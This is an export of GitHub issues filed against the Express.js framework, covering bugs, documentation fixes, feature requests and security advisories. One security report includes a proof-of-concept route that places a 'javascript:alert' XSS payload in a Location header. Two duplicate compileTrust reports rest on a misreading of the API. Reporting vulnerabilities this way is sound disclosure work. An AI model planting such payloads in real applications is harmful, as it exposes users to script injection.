> - https://github.com/advisories/GHSA-6rw7-vpxm-498p 
- A few days ago, the following security flaw was discovered in lib qs. However, no issue or PR was found regarding this flaw or a possible solution.
- Projects that use Express are vulnerable and without solutions for the flaw.
- Please let us know when you can. Thank you!",5.x,2026-01-02T12:16:42Z,2026-01-07T14:46:38Z,17
expressjs/express,3775884334,"Test failure: urlencoded parser returns {""0"":""val1"",""1"":""val2""} instead of [""val1"",""val2""] for duplicate keys","## Environment information

**Version**:

express: 5.2.1
body-parser: ^2.2.1

**Platform**:

Darwin 25.1.0 (macOS)

**Node.js version**:

>= 18 (as specified in package.json engines)

**Any other relevant information**:
- Test framework: Mocha ^10.7.3
- Testing library: Supertest ^6.3.0
- This appears to be related to body-parser 2.x behavior changes

## What steps will reproduce the bug?

1. Run the test suite:

npm test

2. Or run the specific failing test:

npm test -- --grep ""should parse multiple key instances""

## Expected behavior

When parsing URL-encoded data with duplicate keys using express.urlencoded({ extended: false }), the parser should return an array:

**Request:**
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=Tobi&user=Loki

**Expected response:**
{""user"":[""Tobi"",""Loki""]}

## Actual behavior

The parser returns an object with numeric keys instead of an array:

**Actual response:**
{""user"":{""0"":""Tobi"",""1"":""Loki""}}

## Test failure output

```
express.urlencoded()
       with extended option
         when false
           should parse multiple key instances:
     Error: expected '{""user"":[""Tobi"",""Loki""]}' response body, got '{""user"":{""0"":""Tobi"",""1"":""Loki""}}'
      at Context.<anonymous> (test/express.urlencoded.js:106:12)
```

## Affected test

File: test/express.urlencoded.js, lines 101-107

```
it('should parse multiple key instances', function (done) {
  request(this.app)
    .post('/')
    .set('Content-Type', 'application/x-www-for... [TRUNCATED]",bug,2026-01-02T08:52:41Z,2026-01-05T08:10:29Z,2
expressjs/express,3719242766,Outdated dependencies detected in package,"### Description

We are using your package as a dependency in our project.
 
In our internal security scan (conducted via Black Duck), we found that some of the dependencies included in your package have not been updated for more than 12 months.

This includes both runtime and transitive dependencies that are part of your package's dependency tree.
We are raising this issue to make you aware of this observation. Are these outdated dependencies something you plan to update?

Outdated Dependency List (from Black Duck scan)
The following are the dependencies (direct or transitive) in your package that were identified as outdated (last updated >12 months ago):

| Library Name              | Current Version | Package Name       | Package Version |
|:--------------------------|:---------------:|:------------------:|----------------:|
| expressjs/accepts         | 2.0.0           | expressjs/express  | 5.2.1           |
| ispromise                 | 4.0.0           | expressjs/express  | 5.2.1           |
| jshttp/fresh              | 2.0.0           | expressjs/express  | 5.2.1           |
| JSHTTP's negotiator       | 1.0.0           | expressjs/express  | 5.2.1           |
| merge-descriptors         | 2.0.0           | expressjs/express  | 5.2.1           |
| Node Cookie Parser        | 0.7.2           | expressjs/express  | 5.2.1           |
| node-cookie-signature     | 1.2.2           | expressjs/express  | 5.2.1           |
| nodejs Deprecate          | 2.0.0           | exp... [TRUNCATED]",,2025-12-11T12:40:06Z,2025-12-11T14:43:23Z,1
expressjs/express,3689836693,Dynamic remove route,"From all the documentation, I understand that Express can add routes dynamically, but it can't delete them. What kind of crazy nonsense is this? Using hacks isn't good programming practice. It's a library that's not fully developed.
Let's say I'm building a CMS or API server with plugin support.
Registering plugins (routes, models, etc.) is no problem.
Unloading a plugin—that's where the problems begin.
Disabling models and adding their status to the database is possible.
But the route remains. And that's where problems with the application logic begin. Lots of errors, etc.
Question: When can I expect proper route deletion in Express, so that the application reports a missing URL and throws an error about it?",,2025-12-03T11:31:05Z,2025-12-03T22:47:45Z,2
expressjs/express,3682897833,Request.accepts documentation,"### Description

I want to contribute, I say  * To do: update docs.* in Request.accepts.
How would you like me to update the docs?


### Expectations

Guide on how to implement or just remove the comment :)",,2025-12-01T21:15:44Z,2026-01-16T21:19:40Z,4
expressjs/express,3664404291,Fix import path in content-negotiation example,"The example uses require('../../'), which only works inside the Express repo. It breaks in normal projects. It should use require('express') instead.",,2025-11-25T19:55:03Z,2025-11-30T19:41:55Z,3
expressjs/express,3663287308,[Documentation] Add async/await error handling best practices guide,"## Description
Many developers struggle with properly handling errors in async/await Express routes. A dedicated section in the documentation covering this pattern would be very helpful.

## Current Situation
The error handling documentation primarily covers synchronous patterns. With async/await being the standard for modern Node.js applications, explicit guidance would help prevent unhandled promise rejections.

## Suggested Documentation Addition
A section covering:

```javascript
// Wrapper function for async routes
const asyncHandler = (fn) => (req, res, next) => {
  Promise.resolve(fn(req, res, next)).catch(next);
};

// Usage example
app.get('/users/:id', asyncHandler(async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);
}));
```

## Benefits
1. Reduces common errors for Express beginners
2. Promotes proper error handling patterns
3. Prevents unhandled promise rejections in production

I'd be happy to contribute a PR for this documentation update if there's interest.",,2025-11-25T14:24:35Z,2026-01-18T23:07:12Z,2
expressjs/express,3661904204,Missing Vary: Accept header causes incorrect caching in content-negotiation,"The example uses res.format() to send different responses (HTML, JSON, text) depending on what the client asks for using the Accept header.
But the example does not include the Vary: Accept header.

Without this header, caches (like CDNs or proxies) may save one version of the page and give that same version to every user—even if they asked for a different format.
This means someone asking for JSON might accidentally get HTML from the cache.
Adding:
`res.vary('Accept')`

before calling res.format() tells caches that the response depends on the Accept header, so each format is cached correctly.
",invalid,2025-11-25T07:57:01Z,2026-01-17T04:04:20Z,3
expressjs/express,3652545191,npm bug url,"<!-- npm bugs express:  url not bugs!
 Please provide as much detailed information about your request as you can, specifically:

- The use case it helps solve and goal of the new feature
- Example code for how you would use or interact with the feature
- The expected behavior, in as much details as you can provide
- Do you want to work on this feature yourself? Would to look for help opening the PR? Or are you asking for others to work on the PR?
-->
",,2025-11-21T17:40:32Z,2025-11-23T15:04:39Z,2
expressjs/express,3648095005,[Security] - Vulnerability CVE-2024-10491,"A vulnerability has been identified in the Express response.links�function, allowing for arbitrary resource injection in the Link�header when unsanitized data is used.

The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources.

This vulnerability is especially relevant for dynamic parameters.

https://ossindex.sonatype.org/vuln/CVE-2024-10491",question,2025-11-20T16:37:42Z,2025-11-20T20:39:05Z,1
expressjs/express,3629947841,Minor Cleanup: Use Cached slice Reference in app.listen Implementation,"### **Description**

While reviewing the `application.js` file, I noticed that Express defines:

```js 
var slice = Array.prototype.slice
```

but later in `app.listen`, it still uses the full property access:

```js
var args = Array.prototype.slice.call(arguments)
``` 

This can be simplified to use the cached reference:
```js 
var args = slice.call(arguments)`
```
### **Expected Behavior**

Use the already-defined `slice` reference for consistency and to avoid repeating  
```js
Array.prototype.slice 
```
The behavior remains identical.
### **Actual Behavior**

The code currently uses the direct prototype access instead of the cached reference.

### **Rationale**

-   Improves consistency within the file
    
-   Avoids repeated long-form prototype access
    
-   Slight micro-optimization (cached function reference)
    
-   No behavioral changes
    
-   All tests continue to pass
    

### **Proposed Change**

Replace:

```js
var args = Array.prototype.slice.call(arguments)
``` 

with:

```js
var args = slice.call(arguments)
``` 

I am happy to submit a pull request if maintainers consider this cleanup acceptable.",,2025-11-16T05:16:38Z,2025-11-23T23:52:17Z,0
expressjs/express,3579595036,sendFile fails within .git folder,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.1.0
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: Microsoft Windows NT 10.0.19045.0 x64
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: v24.6.0
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?
```js
const baseDir = path.join(import.meta.dirname, ""..""); // Update as required by project structure
route.get(""/test"", (_, res) => {
    res.sendFile(path.join(baseDir, "".git/HEAD""));
});
```
Send a request to /test. It will fail with a NotFoundError being thrown.

It does seem like `express.static` works fine with a .git root, however.",bug,2025-11-02T14:21:53Z,2025-11-02T14:41:16Z,5
expressjs/express,3579582676,"Clarification of ""Install the executable. The executable's major version will match Express's:""","### Description

this sentence i feel is incomplete in the readme.md
so i suggest we can use ""Install the executable. The executable's major version will match Express's major version: ""
this way the sentence is more complete and good to read

### Expectations

i believe this is a good change for readability and won't cause a grammar error",,2025-11-02T14:09:11Z,2025-11-02T15:55:41Z,2
expressjs/express,3553234684,feature to automatically print express.js logo,"feature to automatically print ASCII logo when an app starts (app.listen). I am waiting community thought on this. Thanks

```bash
shivams@shivam MINGW64 ~/Desktop/open-source/express/examples/hello-world (master)
$ node index.js 

  ___                           _
 │ __│_ ___ __ _ _ ___ ______  (_)___
 │ _│╲ ╲ ╱ '_ ╲ '_╱ ─_│_─<_─<_ │ (_─<
 │___╱_╲_╲ .__╱_│ ╲___╱__╱__(_)╱ ╱__╱
         │_│                 │__╱


Express started on port 3000
```
",,2025-10-26T03:27:25Z,2025-10-28T18:23:31Z,1
expressjs/express,3538035245,Performance: compileTrust() has O(n^2) complexity causing 2+ second delays with large IP lists,"
The `compileTrust()` function in Express has severe performance issues when processing large IP lists, causing startup delays of 2+ seconds for applications with 1M+ trusted IPs.

## Performance Impact

| IP Count | Processing Time | Startup Delay |
|----------|----------------|---------------|
| 10,000   | 33ms           | 0.03s         |
| 100,000  | 213ms          | 0.21s         |
| 500,000  | 1,019ms        | 1.02s         |
| 1,000,000| 2,365ms        | 2.37s         |

## Real-World Scenarios Affected

- **CDNs**: 100K+ IPs → 213ms startup delay
- **Large Enterprises**: 500K+ IPs → 1+ second delay  
- **Cloud Providers**: 1M+ IPs → 2.3+ second delay

This impacts:
- Application startup time
- Server restart time
- Container startup time
- Cold starts in serverless environments


## Memory Usage

Large IP lists also consume significant memory:

| IP Count | String Size | Heap Increase | Ratio |
|----------|-------------|---------------|-------|
| 10,000   | 0.10 MB     | 3.24 MB       | 33.94x|
| 100,000  | 0.95 MB     | 34.18 MB      | 35.84x|
| 500,000  | 4.77 MB     | 149.93 MB     | 31.44x|


## Related Issues

This performance issue was initially reported in #6611, but that issue was based on a misunderstanding of how `compileTrust()` works. The reporter expected it to return an array of IPs, but it actually returns a predicate function for checking if an IP is trusted.

The real issue is the performance bottleneck, not the API behavior.

## Priority

**High** - T... [TRUNCATED]",,2025-10-21T20:17:03Z,2025-11-13T17:53:10Z,4
expressjs/express,3498533457,Why was this marked as spam?,"My comment [here](https://github.com/expressjs/express/pull/6830#issuecomment-3385135706) was marked as spam which I find a bit odd.

Have there already been attempts to combat the PR spam by adding some note to the readme?",,2025-10-09T10:18:07Z,2025-10-09T17:47:40Z,3
expressjs/express,3493245529,Different route param parsing behavior between POST and GET requests,"Trying to adopt https://google.aip.dev/136 and use `:customMethod` to model non-standard operations.

The path definition I'm using is `/books/:bookId\\:upVote`.

The path params captured by express is different in POST and GET requests: in POST requests the `:upVote` postfix is correctly excluded from the `bookId` param, but in GET requests the `:upVote` is included in the `bookId` param captured.

Wondering why is this? And is this behavior something I can depend on?

express version: 4.21.0

Thanks!",question,2025-10-07T22:36:31Z,2025-11-13T18:09:33Z,6
expressjs/express,3422915148,Problems with npm install in docker,"Simple test application generated with npm init and npm install
```
{
""name"": ""psvo"",
""version"": ""1.0.0"",
""description"": ""SPA Example"",
""license"": ""ISC"",
""author"": """",
""type"": ""module"",
""main"": ""index.js"",
""scripts"": {
},
""dependencies"": {
""express"": ""^5.1.0""
}
}
```

In Dockerfile
```
FROM node:22-alpine
WORKDIR /app
COPY package*.json .
RUN npm install --no-update-notifier
EXPOSE 80
CMD [""npm"", ""start""]
```

In docker compose
```
services:

  psvo-dev:
    container_name: psvo-dev
    build:
      context: .
      dockerfile: Dockerfile
    restart: unless-stopped
    volumes:
      - /app/node_modules
```

When running docker compose build, npm install runs for a few minutes and issues the following error:
```
usuario@server:~/ecosistema1/services/psvo$ docker compose build
[+] Building 148.2s (9/9) FINISHED
 => [internal] load local bake definitions                                                                                                                         0.0s
 => => reading from stdin 537B                                                                                                                                     0.0s
 => [internal] load build definition from Dockerfile.dev                                                                                                           0.0s
 => => transferring dockerfile: 207B                                                                                                                               0.0s
 => [... [TRUNCATED]",bug,2025-09-16T16:09:30Z,2025-09-16T16:12:09Z,0
expressjs/express,3395148444,Security audit with criticals,"Express 5.1.0 is giving this critical audit result since a couple of hours ago.

https://github.com/advisories/GHSA-8mgj-vmr8-frr6

Not sure what the right modus is here, run? hide?

Seems serious and I am having a difficult time getting it out of the dependencies, this debug package seems to be all over the place.

Any advise is welcome!
",question,2025-09-08T18:07:07Z,2025-09-08T19:17:10Z,2
expressjs/express,3361727286,Supporting HTTP/2: HTTP/1.1 must die,"At BlackHat & DEF CON 33, James Kettle detailed that HTTP/1.1 contains fundamental desynchronization security vulnerabilities that researchers keep finding and will continue to find due to the poorly defined boundaries between requests. In that research, bug bounty hunters found $300k+ worth of bounties due to a novel HTTP Request Splitting vulnerability.

This research is summarized here: https://http1mustdie.com/

James believes that there will continue to be new, and noverl HTTP request smuggling vulnerabilities due to the fundamental insecure nature of HTTP/1.1.

His proposed mitigation is to encourage all backing servers to support HTTP/2.

I know that a ticket on this topic #5462, however given that this research is new, and situationally relevant to express, it seems like it was appropriate to create a new issue.",,2025-08-28T04:19:25Z,2025-09-12T20:31:13Z,2
expressjs/express,3350922460,TypeError: Missing parameter name at 1 when using Express v5 with valid routers,"**System**

-   **Node.js version:** v20.19.4
-   **Express version:** 5.1.0 (beta)
-   **`@types/express` version:** 5.0.3 (beta)
-   **OS:** Linux (Linux Mint XCFE)
-   **Package Manager:** pnpm


When setting up a basic Express.js v5 beta server with a simple router, the application crashes immediately upon startup. The error is a `TypeError: Missing parameter name` thrown from the `path-to-regexp` library, even when all defined route paths are syntactically correct.

The expected behavior is for the server to start successfully, as the route definitions are valid. The issue seems to stem from an internal incompatibility within the Express 5 beta dependencies.




The server crashes immediately with the following stack trace:

```
/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:153
      throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:153:13)
    at lexer (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/src/index.ts:171:21)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/virtualabishek/Desktop/asVision/backend/node_modules/.pnpm/path-to-regexp@8.2.0/node_modules/path-to-regexp/... [TRUNCATED]",bug,2025-08-25T08:26:27Z,2025-08-25T14:03:29Z,1
expressjs/express,3233283453,Local Server Crashed while executing code with Wildcard Route,"I am using express@5.1.0,  In this version i am facing issue with wildcard ('*') route. My slocal server is running properly without using ""app.all('*', (req,res,next) => {//code.......})"". but on this route i am facing issue.



<img width=""923"" height=""1010"" alt=""Image"" src=""https://github.com/user-attachments/assets/61bd8498-0485-4651-a9a1-d26ce68b650e"" />
<img width=""412"" height=""149"" alt=""Image"" src=""https://github.com/user-attachments/assets/8ef45231-cabf-4652-b2d8-746ad1616665"" />
<img width=""554"" height=""613"" alt=""Image"" src=""https://github.com/user-attachments/assets/65668b66-55ad-4c2c-92ca-48da3ff54e14"" />
",bug,2025-07-15T18:23:02Z,2025-07-15T18:27:41Z,1
expressjs/express,3227577575,res.redirect('/') from POST route redirects to HTTPS instead of HTTP in development,"When running an Express.js application in a local development environment (served over HTTP), I'm observing an unexpected redirect to HTTPS when performing res.redirect('/') from a POST route. This behavior does not occur when redirecting from a GET route to a relative path, or when redirecting to a non-root path.

**Steps to Reproduce:**

Set up a basic Express.js application locally, explicitly configured to serve over HTTP (e.g., using const http = require(""http""); http.createServer(app).listen(PORT);).

Define a simple POST route that performs a redirect to the root path:

```
const express = require('express');
const app = express();

app.use(express.json()); // Or express.urlencoded({ extended: true }) if handling form data

app.post('/test-post-redirect', (req, res) => {
  // This is the problematic redirect
  res.redirect('/');
});

// For comparison: A GET route that redirects to a non-root path (works as expected)
app.get('/test-get-redirect', (req, res) => {
  res.redirect('/some-other-path'); // This correctly redirects to http://localhost:PORT/some-other-path
});

// Define the root and a test target for clarity
app.get('/', (req, res) => {
  res.send('Welcome to the home page (HTTP)!');
});

app.get('/some-other-path', (req, res) => {
  res.send('This path was reached via HTTP redirect.');
});

// Assuming app is listening on http://localhost:3000
```
From a client (e.g., Postman, browser fetch API, or a simple HTML form), send a POST request to http://localhost... [TRUNCATED]",,2025-07-14T06:47:24Z,2025-07-18T00:41:39Z,4
expressjs/express,3225779240,req.query is now a getter and can't use as custom server in front of Next.js,"When using Express as a custom server in front of Next.js, accessing req.query directly no longer returns a mutable plain object. Instead, it is now a getter, and attempts to modify it or use it as a plain object lead to unexpected behavior or errors.

This change affects routes where the server modifies or depends on the mutability of req.query before passing it to Next.js, breaking compatibility with existing implementations.


Next.js Issue:
https://github.com/vercel/next.js/issues/79158

---

### Context

We applied the following patch, but we do not believe it is the best solution:

```js
// Express 5 makes the 'query' property read-only, but Next.js needs to write to it
try {
  Object.defineProperty(req, 'query', descriptor);
} catch (error) {
  // If property already exists and is configurable, delete and recreate it
  try {
    // eslint-disable-next-line @typescript-eslint/no-explicit-any
    delete (req as any).query;
    Object.defineProperty(req, 'query', descriptor);
    logger.logInfo(`query property fixed ${error}`, requestID);
  } catch (error) {
    logger.logWarn(
      `Could not fix query property for Next.js compatibility: ${error}`,
      requestID
    );
  }
}
```

Is it possible to know why Express decided to change? This would help us understand where we need to make adjustments (on the Next.js side or the Express.js side).
",,2025-07-12T21:11:54Z,2025-07-13T18:34:07Z,1
expressjs/express,3191074328,Docs: Broken link to Code of Conduct in README.md,"### Description

In the main `Readme.md` file, the reference link for the Code of Conduct at the bottom of the file is broken.

**Current (broken) link:**
`[Code of Conduct]: https://github.com/expressjs/express/blob/master/Code-Of-Conduct.md` (Line 272)

This link results in a 404 error because the file does not exist at that location.

The project appears to be using the organization-wide Code of Conduct located in the `expressjs/.github` repository.

**The correct link should be:**
`https://github.com/expressjs/.github/blob/master/CODE_OF_CONDUCT.md`

The `README.md` should be updated to point to the correct URL.

### Expectations

The Code of conduct link should point to:
https://github.com/expressjs/.github/blob/master/CODE_OF_CONDUCT.md",,2025-07-01T07:16:05Z,2025-07-12T19:16:08Z,1
expressjs/express,3188955444,location function does not validate potentially malicious URLs,"## Bug: location function does not validate potentially malicious URLs

## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create an Express application
2. Set up a route that uses `res.location()` with a malicious URL
3. Send a request to this route and observe the response headers

```js
const express = require('express');
const app = express();

app.get('/redirect', (req, res) => {
  // Set a malicious URL in the Location header
  res.location('javascript:alert(""XSS attack"")');
  res.status(302).send('Redirecting...');
});

app.listen(3000, () => {
  console.log('Server running on port 3000');
});

// Using curl to test:
// $ curl -i http://localhost:3000/redirect
//
// The response headers will contain:
// Location: javascript:alert(""XSS attack"")

```

## What is the expected behavior?
The location function should validate the URL scheme and reject or sanitize non-HTTP(S) URLs, especially those with potentially dangerous schemes like javascript:, data.

## What happens instead?
The function sets the malicious URL directly in the Location header without any validation:
```
HTTP/1.1 302 Found
Location: javascript:alert(""XSS attack"")
...
```
This creates a security vulnerability as browsers following this redirect might execute the JavaScript code, leading to Cross-Site Scripting (XSS) attacks.

## Source of the issue
The issue is in ... [TRUNCATED]",bug,2025-06-30T15:36:35Z,2025-07-03T21:36:53Z,2
expressjs/express,3188948172,setCharset function does not preserve case of original Content-Type,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Import the utils module from Express
2. Call the `setCharset` function with an uppercase Content-Type and a charset
3. Observe that the returned string converts the Content-Type to lowercase

```js
const utils = require('express/lib/utils');

// Call setCharset with uppercase Content-Type
const contentType = 'TEXT/PLAIN';
const charset = 'UTF-8';
const result = utils.setCharset(contentType, charset);

console.log(result); 
// Actual: 'text/plain; charset=UTF-8'
// Expected: 'TEXT/PLAIN; charset=UTF-8'

```

## What is the expected behavior?
The function should preserve the original case of the Content-Type while adding the charset parameter. For example, when TEXT/PLAIN is provided as input, the output should be TEXT/PLAIN; charset=UTF-8.

## What happens instead?
The function converts the Content-Type to lowercase, so TEXT/PLAIN becomes text/plain; charset=UTF-8 in the output.

## Source of the issue
The issue is in the setCharset function in lib/utils.js.
The function uses contentType.parse() which normalizes the type to lowercase, and then contentType.format() which outputs the type in lowercase, resulting in the loss of the original case information.","bug,invalid",2025-06-30T15:34:38Z,2025-11-23T22:51:49Z,3
expressjs/express,3188941683,The compileTrust function exhibits issues when processing exceptionally long strings.,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create a very long string with many IP addresses separated by commas
2. Call the `compileTrust` function with this string
3. Call the returned function and check its length

```js
const utils = require('./lib/utils');

// Create a string with 1,000,001 IP addresses
const longString = Array(1000001).fill('127.0.0.1').join(',');

// Call compileTrust with the long string
const result = utils.compileTrust(longString);

// Check the length of the result when called
console.log(result().length); // Expected: 1000001, Actual: undefined

```

## What is the expected behavior?
The function should correctly process the very long string, split it into an array of IP addresses, and return a function that, when called, returns an array with 1,000,001 elements (one for each IP address in the original string).

## What happens instead?
When calling the result function and checking its length, it returns undefined instead of the expected value of 1,000,001.

When processing a string input, the function splits the string and maps the values, but doesn't ensure the returned function properly returns the processed array for very long inputs. There's inconsistency in how the function handles string inputs compared to other input types.",bug,2025-06-30T15:33:02Z,2025-07-02T01:41:06Z,0
expressjs/express,3188938176,The compileTrust function exhibits issues when processing exceptionally long strings.,"## Environment information

**Version**: express 5.0.0-beta.3

**Platform**: Linux

**Node.js version**: 18.x

**Any other relevant information**: N/A

## What steps will reproduce the bug?

1. Create a very long string with many IP addresses separated by commas
2. Call the `compileTrust` function with this string
3. Call the returned function and check its length

```js
const utils = require('./lib/utils');

// Create a string with 1,000,001 IP addresses
const longString = Array(1000001).fill('127.0.0.1').join(',');

// Call compileTrust with the long string
const result = utils.compileTrust(longString);

// Check the length of the result when called
console.log(result().length); // Expected: 1000001, Actual: undefined

```

## What is the expected behavior?
The function should correctly process the very long string, split it into an array of IP addresses, and return a function that, when called, returns an array with 1,000,001 elements (one for each IP address in the original string).

## What happens instead?
When calling the result function and checking its length, it returns undefined instead of the expected value of 1,000,001.

When processing a string input, the function splits the string and maps the values, but doesn't ensure the returned function properly returns the processed array for very long inputs. There's inconsistency in how the function handles string inputs compared to other input types.",bug,2025-06-30T15:32:14Z,2025-11-13T17:58:00Z,3
expressjs/express,3185652592,"Using wildcard routes ""*"" or ""/*"" in Express v5 causes path-to-regexp to throw an error due to broken parameter parsing."," <!-- The process for bug fixing is:-->
Issue: Using wildcard routes `*` or `/*` in Express v5 causes `path-to-regexp` to throw an error due to broken parameter parsing.

Error:
```
/home/*****/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError
    at name (/home/*****/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/home/*****/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/*****/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/home/*****/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/home/*****/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/home/*****/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/home/*****/node_modules/path-to-regexp/dist/index.js:183:20)
    at /home/*****/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)
```
Details:
When defining routes with `*` or `/*`  patterns in Express 5.x, `path-to-regexp` fails to parse the route pattern properly, throwing a `Missing parameter name error`. This breaks wildcard routing functionality.



## Environment information

**Version**:
""dependencies"": {
  ""express"": ""^5.1.0"",
  ""sqlite3"": ""^5.1.7""
}


**Platform**:
Ubuntu 24.04.2 LTS

**Node.js version**:
Node.js v22.17.0


##... [TRUNCATED]",bug,2025-06-29T01:46:48Z,2025-06-29T03:09:27Z,1
expressjs/express,3180625319,Can the Express example be updated to use a callback function with app.listen like on the Expressjs website?,"On the Expressjs website, it uses a callback function with `app.listen()` like this:

```javascript
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

But on the npm package page for Express, the example is this:

```javascript
app.listen(3000)
```
I was wondering if the example could be updated with the callback function so that the user knows that Express is running and listening. I can make a pull request for this change if necessary.

Thanks!

-Brian",question,2025-06-26T22:21:22Z,2025-12-17T13:30:39Z,2
expressjs/express,3178783533,The the contributing md link is borken.,"### Description

When clicked on contributing.md its not redirecting to any valid page to guiding the new contributors who joined the project . We need to fix it. 

![Image](https://github.com/user-attachments/assets/5ef10a3f-a2b2-4f42-a493-494192599fbe)

![Image](https://github.com/user-attachments/assets/01240e76-06a5-4a38-9615-89be7d6bb229)

please assign this task to me

### Expectations

the expected correction would be redirecting to nay valid page.",,2025-06-26T11:24:12Z,2025-07-30T13:41:54Z,5
expressjs/express,3157253483,express crashing when using node internal http2 module on sending any request from client,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.*
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:  
`Linux d176f8ed3db8 5.15.146.1-microsoft-standard-WSL2 #1 SMP Thu Jan 11 04:09:03 UTC 2024 x86_64 GNU/Linux` (Docker image from node:23-slim),  
`Microsoft Windows NT 10.0.19045.0 x64`
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**:
Linux: 23.11, 24.2
Windows: 22.12
<!-- 
Output of node -v.
-->

**Any other relevant information**:
Error code:
```
node:events:502
      throw er; // Unhandled 'error' event
      ^

TypeError: Cannot read properties of undefined (reading 'readable')
    at IncomingMessage._read (node:_http_incoming:211:19)
    at Readable.read (node:internal/streams/readable:739:12)
    at resume_ (node:internal/streams/readable:1257:12)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21)
Emitted 'error' event on IncomingMessage instance at:
    at emitErrorNT (... [TRUNCATED]",bug,2025-06-18T15:07:55Z,2025-06-21T01:00:42Z,2
expressjs/express,3115326755,Native support for Valkey (cache) in Express,"**Context:**

After exhaustive analysis of different caching options for my express boilerplate ive found that:

- Redis cant be trusted (relicensing drama)
- Redis was forked into free OSS and by AWS & GCP and named to [Valkey](https://valkey.io/)
- Valkey is more performant [Video proof](https://www.youtube.com/watch?v=9hDvWVJtljE&t=248s)

And thus, id like to request a Expressjs-valkey plugin, similar to [what Fastify has](https://github.com/fastify/fastify-redis/issues/226) - In my case, im using [Valkey Glide](https://github.com/valkey-io/valkey-glide) so that would be desired, but [iovalkey](https://github.com/valkey-io/iovalkey) would make sense too


**- The use case it helps solve and goal of the new feature**
The use case for this would be streamlined access to Valkey.io cache service


**- Example code for how you would use or interact with the feature**
```
import express from 'express'
import expressValkey from '@express/valkey-glide'

const express = express()

// create by specifying address
express.register(expressValkey, {
  addresses: [{ host: '127.0.0.1' }]
})

// OR with more options
express.register(expressValkey, {
  addresses: [{ host: '127.0.0.1', port: 6379 }],
  credentials: {username: ""user1"", password: ""password""},
  useTLS: true
})

```

**- The expected behavior, in as much details as you can provide**

Expressjs framework has access to Valkey client - similar to [Fastify's plugin](https://github.com/fastify/fastify-valkey-glide)


**- Do you wan... [TRUNCATED]",,2025-06-03T20:18:33Z,2025-06-03T21:45:48Z,3
expressjs/express,3103209284,No overload matches this call error ts(2769),"This is my indexWithZod.ts file:

``` import express from 'express';
import { z } from 'zod';

export const appWithZod = express();
appWithZod.use(express.json());


const sumInput = z.object({
  a: z.number(),
  b: z.number()
});

appWithZod.post('/sum', (req, res) => {

  const parsedResponse = sumInput.safeParse(req.body);

  if (!parsedResponse.success) {
    return res.status(411).json({
      message: 'Incorrect inputs'
    });
  }
  
  const answer = parsedResponse.data.a + parsedResponse.data.b;

  return res.json({
    answer
  });
});
```

I am getting error at `(req, res) => {` where the exact error message is 

> No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<{}, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>, number>) => Response<any, Record<...>, number>' is not assignable to parameter of type 'Application<Record<string, any>>'.
      Type '(req: Request<{}, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>, number>) => Response<any, Record<...>, number>' is missing the following properties from type 'Application<Record<string, any>>': init, defaultConfiguration, engine, set, and 63 more.ts(2769)

Here is the additional bin.ts file for reference:
```
import { appWithZod } from './indexWithZod';

appWithZod.listen(3001, () => {
  console.log('Server (appWithZod) is running on PORT 3001');
});

```
",question,2025-05-30T13:10:45Z,2025-07-15T02:40:22Z,2
expressjs/express,3098854831,[draft] release plan: 5.2,"Some PRs that could go into the next minor version of Express:

- https://github.com/expressjs/express/pull/2653
- https://github.com/expressjs/express/pull/6405",,2025-05-29T00:38:23Z,2025-12-11T14:59:11Z,0
